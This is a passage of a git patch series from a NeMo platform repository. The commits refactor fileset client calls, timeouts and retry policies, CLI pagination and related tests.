a/plugins/nemo-evaluator/src/nemo_evaluator/filesets.py +++ b/plugins/nemo-evaluator/src/nemo_evaluator/filesets.py @@ -125,13 +125,16 @@ def _match_path_parts(path_parts: tuple[str, ...], pattern_parts: tuple[str, ... async def _download_fileset_ref( - sdk: AsyncNeMoPlatform, + sdk: AsyncNeMoPlatform | NeMoPlatform, dataset: FilesetRef, destination: str, recursive: bool = True, + *, + fs: FilesetFileSystem | None = None, ) -> Path: - files_client = client_from_platform(sdk, AsyncFilesClient) - fs = FilesetFileSystem(client=files_client) + if fs is None: + files_client = client_from_platform(sdk, AsyncFilesClient) + fs = FilesetFileSystem(client=files_client) ref = dataset.root if "#" in ref: @@ -144,6 +147,7 @@ async def _download_fileset_ref( FilesetRef(root=base_path), destination, recursive=recursive, + fs=fs, ) base_dest = _safe_child_path(Path(destination), base_path) @@ -182,7 +186,7 @@ def _download_fileset_ref_sync( ) -> Path: files_client = client_from_platform(sdk, FilesClient) fs = FilesetFileSystem(client=files_client) - result = fsspec.asyn.sync(fs.loop, _download_fileset_ref, sdk, dataset, destination, recursive) + result = fsspec.asyn.sync(fs.loop, _download_fileset_ref, sdk, dataset, destination, recursive, fs=fs) if result is None: raise RuntimeError(f"FilesetRef download returned no path for dataset {dataset.root!r}") return result diff --git a/services/automodel/src/nmp/automodel/tasks/file_io/run.py b/services/automodel/src/nmp/automodel/tasks/file_io/run.py index a738c099f9..d19e4e0eb6 100644 --- a/services/automodel/src/nmp/automodel/tasks/file_io/run.py +++ b/services/automodel/src/nmp/automodel/tasks/file_io/run.py @@ -35,6 +35,7 @@ from nemo_platform_plugin.client.errors import ( InternalServerError as FilesInternalServerError, ) +from nemo_platform_plugin.client.types import RetryPolicy from nemo_platform_plugin.files.client import FilesClient from nemo_platform_plugin.files.types import CreateFilesetRequest, UpdateFilesetRequest from nmp.automodel.app.constants import SERVICE_NAME @@ -409,7 +410,9 @@ def create_fileset(self, fileset: FileSetRef, metadata: dict | None = None) -> N ) def _create_fileset_with_retry(self, fileset: FileSetRef, metadata: dict | None = None) -> None: """Internal method with retry logic for creating a FileSet.""" - files = client_from_platform(self.sdk, FilesClient) + files = client_from_platform(self.sdk, FilesClient).with_options( + timeout=10.0, retry=RetryPolicy(max_retries=0) + ) try: body_kwargs: dict = { "name": fileset.name, diff --git a/services/core/files/script/v2_migration.py b/services/core/files/script/v2_migration.py index 68ab773f4a..c7aa07a07a 100644 --- a/services/core/files/script/v2_migration.py +++ b/services/core/files/script/v2_migration.py @@ -48,7 +48,7 @@ from nemo_platform_plugin.client.adapter import client_from_platform from nemo_platform_plugin.client.errors import NotFoundError as FilesNotFoundError from nemo_platform_plugin.files.client import FilesClient -from nemo_platform_plugin.files.types import CreateFilesetRequest +from nemo_platform_plugin.files.types import CreateFilesetRequest, ListFilesetsQueryParams logger = logging.getLogger(__name__) @@ -559,7 +559,7 @@ def run_setup(args: argparse.Namespace) -> int: sdk = _get_files_sdk(cfg) files = client_from_platform(sdk, FilesClient) # Lightweight Files API connectivity check against default workspace. - files.list_filesets(workspace="default") + files.list_filesets(workspace="default", query_params=ListFilesetsQueryParams(page_size=1)) print(f" files service: OK (resolved base_url: {sdk.base_url}, check_workspace=default)") except Exception as exc: print(f" files service: FAIL ({exc})") diff --git a/services/rl/src/nmp/rl/tasks/file_io/run.py b/services/rl/src/nmp/rl/tasks/file_io/run.py index 0fe527a285..0305f31619 100644 --- a/services/rl/src/nmp/rl/tasks/file_io/run.py +++ b/services/rl/src/nmp/rl/tasks/file_io/run.py @@ -35,6 +35,7 @@ from nemo_platform_plugin.client.errors import ( InternalServerError as FilesInternalServerError, ) +from nemo_platform_plugin.client.types import RetryPolicy from nemo_platform_plugin.files.client import FilesClient from nemo_platform_plugin.files.types import CreateFilesetRequest, UpdateFilesetRequest from nmp.common.jobs.schemas import PlatformJobStatus @@ -339,7 +340,9 @@ def create_fileset(self, fileset: FileSetRef, metadata: dict | None = None) -> N ) def _create_fileset_with_retry(self, fileset: FileSetRef, metadata: dict | None = None) -> None: """Internal method with retry logic for creating a FileSet.""" - files = client_from_platform(self.sdk, FilesClient) + files = client_from_platform(self.sdk, FilesClient).with_options( + timeout=10.0, retry=RetryPolicy(max_retries=0) + ) try: body_kwargs: dict = { "name": fileset.name, diff --git a/services/unsloth/src/nmp/unsloth/tasks/file_io/run.py b/services/unsloth/src/nmp/unsloth/tasks/file_io/run.py index da84425778..8da386e09f 100644 --- a/services/unsloth/src/nmp/unsloth/tasks/file_io/run.py +++ b/services/unsloth/src/nmp/unsloth/tasks/file_io/run.py @@ -35,6 +35,7 @@ from nemo_platform_plugin.client.errors import ( InternalServerError as FilesInternalServerError, ) +from nemo_platform_plugin.client.types import RetryPolicy from nemo_platform_plugin.files.client import FilesClient from nemo_platform_plugin.files.types import CreateFilesetRequest, UpdateFilesetRequest from nmp.common.jobs.schemas import PlatformJobStatus @@ -313,7 +314,9 @@ def create_fileset(self, fileset: FileSetRef, metadata: dict | None = None) -> N ) def _create_fileset_with_retry(self, fileset: FileSetRef, metadata: dict | None = None) -> None: """Internal method with retry logic for creating a FileSet.""" - files = client_from_platform(self.sdk, FilesClient) + files = client_from_platform(self.sdk, FilesClient).with_options( + timeout=10.0, retry=RetryPolicy(max_retries=0) + ) try: body_kwargs: dict = { "name": fileset.name, From 2094ec0c5d3d87feefdc12bbb0caf791849d191f Mon Sep 17 00:00:00 2001 From: Matthew Grossman Date: Mon, 6 Jul 2026 21:45:37 -0700 Subject: [PATCH 07/12] fixes Signed-off-by: Matthew Grossman --- services/automodel/src/nmp/automodel/tasks/file_io/run.py | 5 ++--- services/rl/src/nmp/rl/tasks/file_io/run.py | 5 ++--- services/unsloth/src/nmp/unsloth/tasks/file_io/run.py | 5 ++--- 3 files changed, 6 insertions(+), 9 deletions(-) diff --git a/services/automodel/src/nmp/automodel/tasks/file_io/run.py b/services/automodel/src/nmp/automodel/tasks/file_io/run.py index d19e4e0eb6..e4d06a340c 100644 --- a/services/automodel/src/nmp/automodel/tasks/file_io/run.py +++ b/services/automodel/src/nmp/automodel/tasks/file_io/run.py @@ -72,8 +72,7 @@ logger = logging.getLogger(__name__) -# Timeout configurations for SDK operations (httpx.Timeout for API calls) -CREATE_FILESET_TIMEOUT = httpx.Timeout(10.0, connect=10.0) +CREATE_FILESET_TIMEOUT = 10.0 LIST_FILES_TIMEOUT = httpx.Timeout(10.0, connect=10.0) # Timeout configurations for FilesetFileSystem operations. @@ -411,7 +410,7 @@ def create_fileset(self, fileset: FileSetRef, metadata: dict | None = None) -> N def _create_fileset_with_retry(self, fileset: FileSetRef, metadata: dict | None = None) -> None: """Internal method with retry logic for creating a FileSet.""" files = client_from_platform(self.sdk, FilesClient).with_options( - timeout=10.0, retry=RetryPolicy(max_retries=0) + timeout=CREATE_FILESET_TIMEOUT, retry=RetryPolicy(max_retries=0) ) try: body_kwargs: dict = { diff --git a/services/rl/src/nmp/rl/tasks/file_io/run.py b/services/rl/src/nmp/rl/tasks/file_io/run.py index 0305f31619..f2c25c7565 100644 --- a/services/rl/src/nmp/rl/tasks/file_io/run.py +++ b/services/rl/src/nmp/rl/tasks/file_io/run.py @@ -76,8 +76,7 @@ # filter filesets by training backend. SERVICE_SOURCE = "rl" -# Timeout configurations for SDK operations (httpx.Timeout for API calls). -CREATE_FILESET_TIMEOUT = httpx.Timeout(10.0, connect=10.0) +CREATE_FILESET_TIMEOUT = 10.0 LIST_FILES_TIMEOUT = httpx.Timeout(10.0, connect=10.0) # Timeout configurations for FilesetFileSystem operations. Passed via @@ -341,7 +340,7 @@ def create_fileset(self, fileset: FileSetRef, metadata: dict | None = None) -> N def _create_fileset_with_retry(self, fileset: FileSetRef, metadata: dict | None = None) -> None: """Internal method with retry logic for creating a FileSet.""" files = client_from_platform(self.sdk, FilesClient).with_options( - timeout=10.0, retry=RetryPolicy(max_retries=0) + timeout=CREATE_FILESET_TIMEOUT, retry=RetryPolicy(max_retries=0) ) try: body_kwargs: dict = { diff --git a/services/unsloth/src/nmp/unsloth/tasks/file_io/run.py b/services/unsloth/src/nmp/unsloth/tasks/file_io/run.py index 8da386e09f..d8bc617255 100644 --- a/services/unsloth/src/nmp/unsloth/tasks/file_io/run.py +++ b/services/unsloth/src/nmp/unsloth/tasks/file_io/run.py @@ -76,8 +76,7 @@ # filter filesets by training backend. SERVICE_SOURCE = "unsloth" -# Timeout configurations for SDK operations (httpx.Timeout for API calls). -CREATE_FILESET_TIMEOUT = httpx.Timeout(10.0, connect=10.0) +CREATE_FILESET_TIMEOUT = 10.0 LIST_FILES_TIMEOUT = httpx.Timeout(10.0, connect=10.0) # Timeout configurations for FilesetFileSystem operations. Passed via @@ -315,7 +314,7 @@ def create_fileset(self, fileset: FileSetRef, metadata: dict | None = None) -> N def _create_fileset_with_retry(self, fileset: FileSetRef, metadata: dict | None = None) -> None: """Internal method with retry logic for creating a FileSet.""" files = client_from_platform(self.sdk, FilesClient).with_options( - timeout=10.0, retry=RetryPolicy(max_retries=0) + timeout=CREATE_FILESET_TIMEOUT, retry=RetryPolicy(max_retries=0) ) try: body_kwargs: dict = { From f880bc6a6826c829143ce35fccb2086fa6b3ac3e Mon Sep 17 00:00:00 2001 From: Matthew Grossman Date: Tue, 7 Jul 2026 08:47:32 -0700 Subject: [PATCH 08/12] fixes Signed-off-by: Matthew Grossman --- .../src/data_designer_nemo/person_reader.py | 9 ++++----- .../tests/integration/test_personas_cli.py | 2 +- .../tests/integration/test_chat_template_tool_calling.py | 1 + 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/packages/data_designer_nemo/src/data_designer_nemo/person_reader.py b/packages/data_designer_nemo/src/data_designer_nemo/person_reader.py index eeacfe0d59..1cbc9c375a 100644 --- a/packages/data_designer_nemo/src/data_designer_nemo/person_reader.py +++ b/packages/data_designer_nemo/src/data_designer_nemo/person_reader.py @@ -23,11 +23,10 @@ class FilesetsPersonReader(PersonReader): DuckDB calls into ``FilesetFileSystem`` synchronously, so the underlying filesystem must be in fsspec's sync mode (``asynchronous=False``) — fsspec then spins up its own daemon event - loop for sync→async bridging. ``FilesetFileSystem`` flips into - ``asynchronous=True`` whenever it receives an - :class:`AsyncNeMoPlatform`, which would break DuckDB. So when this - reader is constructed with an async SDK we rebuild a sync SDK from - the async one's base URL / headers / workspace and hand *that* to + loop for sync→async bridging. ``FilesetFileSystem`` sets + ``asynchronous=True`` when given an ``AsyncFilesClient``, which would + break DuckDB. So when this reader is constructed with an async SDK we + rebuild a sync SDK, derive a sync ``FilesClient``, and hand *that* to ``FilesetFileSystem``. Auth and identity propagate; fsspec stays in sync mode. """ diff --git a/plugins/nemo-data-designer/tests/integration/test_personas_cli.py b/plugins/nemo-data-designer/tests/integration/test_personas_cli.py index d084581e86..c13ac9efaf 100644 --- a/plugins/nemo-data-designer/tests/integration/test_personas_cli.py +++ b/plugins/nemo-data-designer/tests/integration/test_personas_cli.py @@ -79,7 +79,7 @@ def test_make_fileset_creates_requested_locale_with_existing_secret(cli_sdk: NeM assert result.exit_code == 0, result.output files = client_from_platform(cli_sdk, FilesClient) filesets_page = files.list_filesets(workspace=WORKSPACE) - assert [fileset.name for fileset in filesets_page.data()] == [get_resource_name_for_locale("en_US")] + assert [fileset.name for fileset in filesets_page.items()] == [get_resource_name_for_locale("en_US")] fileset = files.get_fileset(name=get_resource_name_for_locale("en_US"), workspace=WORKSPACE).data() assert isinstance(fileset.storage, NGCStorageConfig) diff --git a/services/core/models/tests/integration/test_chat_template_tool_calling.py b/services/core/models/tests/integration/test_chat_template_tool_calling.py index 3680919ca5..31d8aa889a 100644 --- a/services/core/models/tests/integration/test_chat_template_tool_calling.py +++ b/services/core/models/tests/integration/test_chat_template_tool_calling.py @@ -193,6 +193,7 @@ def _update_fileset_and_run_task(test_clients, model_name, metadata, tmp_path): name=FILESET_NAME, workspace=DEFAULT_WORKSPACE, metadata=metadata, + storage=None, ) mock_files_client = MagicMock() From c9cd5beca8992e87ce9383e05453f406b30d19f1 Mon Sep 17 00:00:00 2001 From: Matthew Grossman Date: Tue, 7 Jul 2026 11:07:31 -0700 Subject: [PATCH 09/12] fix Signed-off-by: Matthew Grossman --- .../cli/commands/api/files/filesets.py | 29 ++++++----- .../tests/jobs/test_file_manager.py | 11 ++--- .../cli/commands/api/files/filesets.py | 49 ++++++++++--------- 3 files changed, 47 insertions(+), 42 deletions(-) diff --git a/packages/nemo_platform_ext/src/nemo_platform_ext/cli/commands/api/files/filesets.py b/packages/nemo_platform_ext/src/nemo_platform_ext/cli/commands/api/files/filesets.py index cbfb6189e2..6bcde45c00 100644 --- a/packages/nemo_platform_ext/src/nemo_platform_ext/cli/commands/api/files/filesets.py +++ b/packages/nemo_platform_ext/src/nemo_platform_ext/cli/commands/api/files/filesets.py @@ -9,15 +9,14 @@ import typer from nemo_platform_plugin.client.adapter import client_from_platform from nemo_platform_plugin.files.client import FilesClient -from nemo_platform_plugin.files.types import CreateFilesetRequest, UpdateFilesetRequest +from nemo_platform_plugin.files.types import CreateFilesetRequest, ListFilesetsQueryParams, UpdateFilesetRequest from nemo_platform_ext.cli.core.api import build_kwargs, merge_filter_dict from nemo_platform_ext.cli.core.code_generator import handle_code_generation from nemo_platform_ext.cli.core.context import CLIContext from nemo_platform_ext.cli.core.errors import handle_errors from nemo_platform_ext.cli.core.formatters import Column, check_output_columns_with_format, format_output -from nemo_platform_ext.cli.core.help_formatter import collect_warnings, create_typer_app -from nemo_platform_ext.cli.core.pagination import PaginationType, fetch_all_pages, warn_if_more_pages +from nemo_platform_ext.cli.core.help_formatter import add_warning, collect_warnings, create_typer_app from nemo_platform_ext.cli.core.stdin_utils import read_data_input_with_flags, read_payload, validate_required_fields from nemo_platform_ext.cli.core.types import ( EntityOutputFormatOption, @@ -144,8 +143,10 @@ def create_filesets( client = state.get_client() files = client_from_platform(client, FilesClient) exist_ok_val = all_kwargs.pop("exist_ok", None) + workspace_val = all_kwargs.pop("workspace", None) result = files.create_fileset( body=CreateFilesetRequest(**all_kwargs), + **({"workspace": workspace_val} if workspace_val is not None else {}), **({"exist_ok": exist_ok_val} if exist_ok_val is not None else {}), ).data() @@ -257,17 +258,17 @@ def list_filesets( client = state.get_client() files = client_from_platform(client, FilesClient) - path_args = () - pagination_type = PaginationType.PAGE_NUMBER + workspace_val = kwargs.pop("workspace", None) + query_params = ListFilesetsQueryParams(**kwargs) if kwargs else None + response = files.list_filesets( + **({"workspace": workspace_val} if workspace_val is not None else {}), + **({"query_params": query_params} if query_params is not None else {}), + ) + if all_pages: - items = fetch_all_pages( - files.list_filesets, - path_args=path_args, - body_args=kwargs, - pagination_type=pagination_type, - ) + items = list(response.items()) else: - items = files.list_filesets(*path_args, **kwargs) + items = response format_output( items, @@ -278,7 +279,9 @@ def list_filesets( timestamp_format=state.get_timestamp_format(), ) if not all_pages: - warn_if_more_pages(items, pagination_type) + page_result = response.page() + if page_result.total_pages is not None and page_result.total_pages > 1: + add_warning("More pages of results are available! Use --all-pages to fetch all results.") @app.command("get") diff --git a/packages/nmp_common/tests/jobs/test_file_manager.py b/packages/nmp_common/tests/jobs/test_file_manager.py index 41bf815fd1..fe7724c4af 100644 --- a/packages/nmp_common/tests/jobs/test_file_manager.py +++ b/packages/nmp_common/tests/jobs/test_file_manager.py @@ -1,7 +1,7 @@ # SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. # SPDX-License-Identifier: Apache-2.0 -from unittest.mock import MagicMock, patch +from unittest.mock import AsyncMock, MagicMock, patch from nemo_platform_plugin.jobs.file_manager import _filter_files_by_patterns from nmp.common.jobs.file_manager import FilesetFileManager, FileStorageType @@ -135,14 +135,13 @@ def test_fileset_validate_storage_exists(fileset_manager, mock_fileset_fs): mock_fileset_fs._info.assert_called() -@patch("nemo_platform_plugin.jobs.file_manager.client_from_platform") -def test_fileset_validate_storage_creates(mock_cfp, fileset_manager, mock_fileset_fs, mock_sdk): +def test_fileset_validate_storage_creates(fileset_manager, mock_fileset_fs): """Test validate_storage creates fileset when missing.""" - mock_fc = MagicMock() - mock_cfp.return_value = mock_fc + mock_fileset_fs._client = MagicMock() + mock_fileset_fs._client.create_fileset = AsyncMock() mock_fileset_fs._info.side_effect = FileNotFoundError("not found") fileset_manager.validate_storage() - mock_fc.create_fileset.assert_called_once() + mock_fileset_fs._client.create_fileset.assert_called_once() def test_fileset_upload_file(tmp_path, fileset_manager, mock_fileset_fs): diff --git a/sdk/python/nemo-platform/src/nemo_platform/cli/commands/api/files/filesets.py b/sdk/python/nemo-platform/src/nemo_platform/cli/commands/api/files/filesets.py index baf2f1332f..62948bf66e 100644 --- a/sdk/python/nemo-platform/src/nemo_platform/cli/commands/api/files/filesets.py +++ b/sdk/python/nemo-platform/src/nemo_platform/cli/commands/api/files/filesets.py @@ -4,27 +4,26 @@ # NOTE: This file is auto-generated from __future__ import annotations -from typing import Annotated, Literal +from typing import Literal, Annotated import typer +from nemo_platform_plugin.files.types import CreateFilesetRequest, UpdateFilesetRequest, ListFilesetsQueryParams +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.client.adapter import client_from_platform from nemo_platform.cli.core.api import build_kwargs, merge_filter_dict -from nemo_platform.cli.core.code_generator import handle_code_generation -from nemo_platform.cli.core.context import CLIContext -from nemo_platform.cli.core.errors import handle_errors -from nemo_platform.cli.core.formatters import Column, check_output_columns_with_format, format_output -from nemo_platform.cli.core.help_formatter import collect_warnings, create_typer_app -from nemo_platform.cli.core.pagination import PaginationType, fetch_all_pages, warn_if_more_pages -from nemo_platform.cli.core.stdin_utils import read_data_input_with_flags, read_payload, validate_required_fields from nemo_platform.cli.core.types import ( - EntityOutputFormatOption, - ListOutputFormatOption, NoTruncateOption, OutputColumnsOption, + ListOutputFormatOption, + EntityOutputFormatOption, ) -from nemo_platform_plugin.client.adapter import client_from_platform -from nemo_platform_plugin.files.client import FilesClient -from nemo_platform_plugin.files.types import CreateFilesetRequest, UpdateFilesetRequest +from nemo_platform.cli.core.errors import handle_errors +from nemo_platform.cli.core.context import CLIContext +from nemo_platform.cli.core.formatters import Column, format_output, check_output_columns_with_format +from nemo_platform.cli.core.stdin_utils import read_payload, validate_required_fields, read_data_input_with_flags +from nemo_platform.cli.core.code_generator import handle_code_generation +from nemo_platform.cli.core.help_formatter import add_warning, collect_warnings, create_typer_app app = create_typer_app(name="filesets", help="Manage filesets") @@ -144,8 +143,10 @@ def create_filesets( client = state.get_client() files = client_from_platform(client, FilesClient) exist_ok_val = all_kwargs.pop("exist_ok", None) + workspace_val = all_kwargs.pop("workspace", None) result = files.create_fileset( body=CreateFilesetRequest(**all_kwargs), + **({"workspace": workspace_val} if workspace_val is not None else {}), **({"exist_ok": exist_ok_val} if exist_ok_val is not None else {}), ).data() @@ -257,17 +258,17 @@ def list_filesets( client = state.get_client() files = client_from_platform(client, FilesClient) - path_args = () - pagination_type = PaginationType.PAGE_NUMBER + workspace_val = kwargs.pop("workspace", None) + query_params = ListFilesetsQueryParams(**kwargs) if kwargs else None + response = files.list_filesets( + **({"workspace": workspace_val} if workspace_val is not None else {}), + **({"query_params": query_params} if query_params is not None else {}), + ) + if all_pages: - items = fetch_all_pages( - files.list_filesets, - path_args=path_args, - body_args=kwargs, - pagination_type=pagination_type, - ) + items = list(response.items()) else: - items = files.list_filesets(*path_args, **kwargs) + items = response format_output( items, @@ -278,7 +279,9 @@ def list_filesets( timestamp_format=state.get_timestamp_format(), ) if not all_pages: - warn_if_more_pages(items, pagination_type) + page_result = response.page() + if page_result.total_pages is not None and page_result.total_pages > 1: + add_warning("More pages of results are available! Use --all-pages to fetch all results.") @app.command("get") From d5db7dee8a6702749a7096288eeba387c473cff3 Mon Sep 17 00:00:00 2001 From: Matthew Grossman Date: Tue, 7 Jul 2026 11:54:44 -0700 Subject: [PATCH 10/12] lint fix Signed-off-by: Matthew Grossman --- .../cli/commands/api/files/filesets.py | 53 ++--- .../cli/commands/api/files/__init__.py | 4 +- .../cli/commands/api/files/filesets.py | 69 +++---- .../src/nemo_platform/filesets/resources.py | 182 +++++++++++++----- .../cli/integration/conftest.py | 15 +- .../cli/integration/test_filesets.py | 7 +- 6 files changed, 185 insertions(+), 145 deletions(-) diff --git a/packages/nemo_platform_ext/src/nemo_platform_ext/cli/commands/api/files/filesets.py b/packages/nemo_platform_ext/src/nemo_platform_ext/cli/commands/api/files/filesets.py index 6bcde45c00..4ab9ca46ba 100644 --- a/packages/nemo_platform_ext/src/nemo_platform_ext/cli/commands/api/files/filesets.py +++ b/packages/nemo_platform_ext/src/nemo_platform_ext/cli/commands/api/files/filesets.py @@ -7,16 +7,14 @@ from typing import Annotated, Literal import typer -from nemo_platform_plugin.client.adapter import client_from_platform -from nemo_platform_plugin.files.client import FilesClient -from nemo_platform_plugin.files.types import CreateFilesetRequest, ListFilesetsQueryParams, UpdateFilesetRequest from nemo_platform_ext.cli.core.api import build_kwargs, merge_filter_dict from nemo_platform_ext.cli.core.code_generator import handle_code_generation from nemo_platform_ext.cli.core.context import CLIContext from nemo_platform_ext.cli.core.errors import handle_errors from nemo_platform_ext.cli.core.formatters import Column, check_output_columns_with_format, format_output -from nemo_platform_ext.cli.core.help_formatter import add_warning, collect_warnings, create_typer_app +from nemo_platform_ext.cli.core.help_formatter import collect_warnings, create_typer_app +from nemo_platform_ext.cli.core.pagination import PaginationType, fetch_all_pages, warn_if_more_pages from nemo_platform_ext.cli.core.stdin_utils import read_data_input_with_flags, read_payload, validate_required_fields from nemo_platform_ext.cli.core.types import ( EntityOutputFormatOption, @@ -141,14 +139,7 @@ def create_filesets( return client = state.get_client() - files = client_from_platform(client, FilesClient) - exist_ok_val = all_kwargs.pop("exist_ok", None) - workspace_val = all_kwargs.pop("workspace", None) - result = files.create_fileset( - body=CreateFilesetRequest(**all_kwargs), - **({"workspace": workspace_val} if workspace_val is not None else {}), - **({"exist_ok": exist_ok_val} if exist_ok_val is not None else {}), - ).data() + result = client.files.filesets.create(**all_kwargs) format_output( result, @@ -176,12 +167,11 @@ def delete_filesets( files.""" state: CLIContext = ctx.obj client = state.get_client() - files = client_from_platform(client, FilesClient) kwargs = build_kwargs( workspace=workspace, ) - files.delete_fileset(name=name, **kwargs) + client.files.filesets.delete(name, **kwargs) typer.echo("✓ Deleted successfully") @@ -257,18 +247,17 @@ def list_filesets( return client = state.get_client() - files = client_from_platform(client, FilesClient) - workspace_val = kwargs.pop("workspace", None) - query_params = ListFilesetsQueryParams(**kwargs) if kwargs else None - response = files.list_filesets( - **({"workspace": workspace_val} if workspace_val is not None else {}), - **({"query_params": query_params} if query_params is not None else {}), - ) - + path_args = () + pagination_type = PaginationType.PAGE_NUMBER if all_pages: - items = list(response.items()) + items = fetch_all_pages( + client.files.filesets.list, + path_args=path_args, + body_args=kwargs, + pagination_type=pagination_type, + ) else: - items = response + items = client.files.filesets.list(*path_args, **kwargs) format_output( items, @@ -279,9 +268,7 @@ def list_filesets( timestamp_format=state.get_timestamp_format(), ) if not all_pages: - page_result = response.page() - if page_result.total_pages is not None and page_result.total_pages > 1: - add_warning("More pages of results are available! Use --all-pages to fetch all results.") + warn_if_more_pages(items, pagination_type) @app.command("get") @@ -306,8 +293,7 @@ def retrieve_filesets( return client = state.get_client() - files = client_from_platform(client, FilesClient) - result = files.get_fileset(name=name, **kwargs).data() + result = client.files.filesets.retrieve(name, **kwargs) format_output( result, @@ -389,14 +375,7 @@ def update_filesets( return client = state.get_client() - files = client_from_platform(client, FilesClient) - name_val = all_kwargs.pop("name") - workspace_val = all_kwargs.pop("workspace", None) - result = files.update_fileset( - name=name_val, - **({"workspace": workspace_val} if workspace_val is not None else {}), - body=UpdateFilesetRequest(**all_kwargs), - ).data() + result = client.files.filesets.update(**all_kwargs) format_output( result, diff --git a/sdk/python/nemo-platform/src/nemo_platform/cli/commands/api/files/__init__.py b/sdk/python/nemo-platform/src/nemo_platform/cli/commands/api/files/__init__.py index ca2b4d59f4..8b5483839c 100644 --- a/sdk/python/nemo-platform/src/nemo_platform/cli/commands/api/files/__init__.py +++ b/sdk/python/nemo-platform/src/nemo_platform/cli/commands/api/files/__init__.py @@ -8,6 +8,8 @@ from typing import Annotated import typer +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient from nemo_platform.cli.commands.api.files import filesets, otlp from nemo_platform.cli.core.context import CLIContext @@ -15,8 +17,6 @@ from nemo_platform.cli.core.formatters import Column, check_output_columns_with_format, format_output from nemo_platform.cli.core.help_formatter import collect_warnings, create_typer_app from nemo_platform.cli.core.types import ListOutputFormatOption, NoTruncateOption, OutputColumnsOption -from nemo_platform_plugin.client.adapter import client_from_platform -from nemo_platform_plugin.files.client import FilesClient app = create_typer_app(name="files", help="Manage files") diff --git a/sdk/python/nemo-platform/src/nemo_platform/cli/commands/api/files/filesets.py b/sdk/python/nemo-platform/src/nemo_platform/cli/commands/api/files/filesets.py index 62948bf66e..b07046d678 100644 --- a/sdk/python/nemo-platform/src/nemo_platform/cli/commands/api/files/filesets.py +++ b/sdk/python/nemo-platform/src/nemo_platform/cli/commands/api/files/filesets.py @@ -4,26 +4,24 @@ # NOTE: This file is auto-generated from __future__ import annotations -from typing import Literal, Annotated +from typing import Annotated, Literal import typer -from nemo_platform_plugin.files.types import CreateFilesetRequest, UpdateFilesetRequest, ListFilesetsQueryParams -from nemo_platform_plugin.files.client import FilesClient -from nemo_platform_plugin.client.adapter import client_from_platform from nemo_platform.cli.core.api import build_kwargs, merge_filter_dict +from nemo_platform.cli.core.code_generator import handle_code_generation +from nemo_platform.cli.core.context import CLIContext +from nemo_platform.cli.core.errors import handle_errors +from nemo_platform.cli.core.formatters import Column, check_output_columns_with_format, format_output +from nemo_platform.cli.core.help_formatter import collect_warnings, create_typer_app +from nemo_platform.cli.core.pagination import PaginationType, fetch_all_pages, warn_if_more_pages +from nemo_platform.cli.core.stdin_utils import read_data_input_with_flags, read_payload, validate_required_fields from nemo_platform.cli.core.types import ( + EntityOutputFormatOption, + ListOutputFormatOption, NoTruncateOption, OutputColumnsOption, - ListOutputFormatOption, - EntityOutputFormatOption, ) -from nemo_platform.cli.core.errors import handle_errors -from nemo_platform.cli.core.context import CLIContext -from nemo_platform.cli.core.formatters import Column, format_output, check_output_columns_with_format -from nemo_platform.cli.core.stdin_utils import read_payload, validate_required_fields, read_data_input_with_flags -from nemo_platform.cli.core.code_generator import handle_code_generation -from nemo_platform.cli.core.help_formatter import add_warning, collect_warnings, create_typer_app app = create_typer_app(name="filesets", help="Manage filesets") @@ -141,14 +139,7 @@ def create_filesets( return client = state.get_client() - files = client_from_platform(client, FilesClient) - exist_ok_val = all_kwargs.pop("exist_ok", None) - workspace_val = all_kwargs.pop("workspace", None) - result = files.create_fileset( - body=CreateFilesetRequest(**all_kwargs), - **({"workspace": workspace_val} if workspace_val is not None else {}), - **({"exist_ok": exist_ok_val} if exist_ok_val is not None else {}), - ).data() + result = client.files.filesets.create(**all_kwargs) format_output( result, @@ -176,12 +167,11 @@ def delete_filesets( files.""" state: CLIContext = ctx.obj client = state.get_client() - files = client_from_platform(client, FilesClient) kwargs = build_kwargs( workspace=workspace, ) - files.delete_fileset(name=name, **kwargs) + client.files.filesets.delete(name, **kwargs) typer.echo("✓ Deleted successfully") @@ -257,18 +247,17 @@ def list_filesets( return client = state.get_client() - files = client_from_platform(client, FilesClient) - workspace_val = kwargs.pop("workspace", None) - query_params = ListFilesetsQueryParams(**kwargs) if kwargs else None - response = files.list_filesets( - **({"workspace": workspace_val} if workspace_val is not None else {}), - **({"query_params": query_params} if query_params is not None else {}), - ) - + path_args = () + pagination_type = PaginationType.PAGE_NUMBER if all_pages: - items = list(response.items()) + items = fetch_all_pages( + client.files.filesets.list, + path_args=path_args, + body_args=kwargs, + pagination_type=pagination_type, + ) else: - items = response + items = client.files.filesets.list(*path_args, **kwargs) format_output( items, @@ -279,9 +268,7 @@ def list_filesets( timestamp_format=state.get_timestamp_format(), ) if not all_pages: - page_result = response.page() - if page_result.total_pages is not None and page_result.total_pages > 1: - add_warning("More pages of results are available! Use --all-pages to fetch all results.") + warn_if_more_pages(items, pagination_type) @app.command("get") @@ -306,8 +293,7 @@ def retrieve_filesets( return client = state.get_client() - files = client_from_platform(client, FilesClient) - result = files.get_fileset(name=name, **kwargs).data() + result = client.files.filesets.retrieve(name, **kwargs) format_output( result, @@ -389,14 +375,7 @@ def update_filesets( return client = state.get_client() - files = client_from_platform(client, FilesClient) - name_val = all_kwargs.pop("name") - workspace_val = all_kwargs.pop("workspace", None) - result = files.update_fileset( - name=name_val, - **({"workspace": workspace_val} if workspace_val is not None else {}), - body=UpdateFilesetRequest(**all_kwargs), - ).data() + result = client.files.filesets.update(**all_kwargs) format_output( result, diff --git a/sdk/python/nemo-platform/src/nemo_platform/filesets/resources.py b/sdk/python/nemo-platform/src/nemo_platform/filesets/resources.py index b2aa14fadb..610854e848 100644 --- a/sdk/python/nemo-platform/src/nemo_platform/filesets/resources.py +++ b/sdk/python/nemo-platform/src/nemo_platform/filesets/resources.py @@ -8,21 +8,21 @@ """ import uuid -from typing import Protocol, runtime_checkable -from pathlib import PurePath -from functools import cached_property +from collections.abc import AsyncIterator, Iterator from dataclasses import dataclass -from collections.abc import Iterator, AsyncIterator +from functools import cached_property +from pathlib import PurePath +from typing import Protocol, runtime_checkable -from fsspec.core import has_magic from fsspec.callbacks import Callback +from fsspec.core import has_magic +from nemo_platform_plugin.files.client import AsyncFilesClient, FilesClient from nemo_platform_plugin.files.types import ( CacheStatus, - FilesetOutput, - FilesetFileOutput, CreateFilesetRequest, + FilesetFileOutput, + FilesetOutput, ) -from nemo_platform_plugin.files.client import FilesClient, 